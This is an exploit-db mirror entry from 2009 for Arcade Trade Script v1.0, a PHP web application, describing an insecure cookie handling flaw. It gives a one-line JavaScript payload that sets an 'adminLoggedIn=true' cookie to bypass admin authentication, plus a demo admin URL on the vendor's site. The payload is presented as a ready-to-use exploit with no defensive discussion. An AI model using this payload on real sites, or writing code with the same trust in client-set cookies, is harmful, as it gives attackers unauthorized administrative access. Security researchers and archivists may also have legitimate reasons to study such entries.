exploit-db-mirror/platforms/php/webapps/9482.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

26 lines
585 B
Text
Executable file

======================================================================
[»] Script : Arcade Trade Script v.1.0 Insecure Cookie Handling Vuln
[»] Language : php
[»] Script site : http://www.arcadetradescript.com
[»] Founder: Mr.tro0oqy <- from Yemen
[»] Gr44tz to: [H]-> borken heart :(
[»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------
javascript:document.cookie="adminLoggedIn=true;path=/";
--------
demo:
--------
http://www.arcadetradescript.com/demo/admin/
--------
# milw0rm.com [2009-08-24]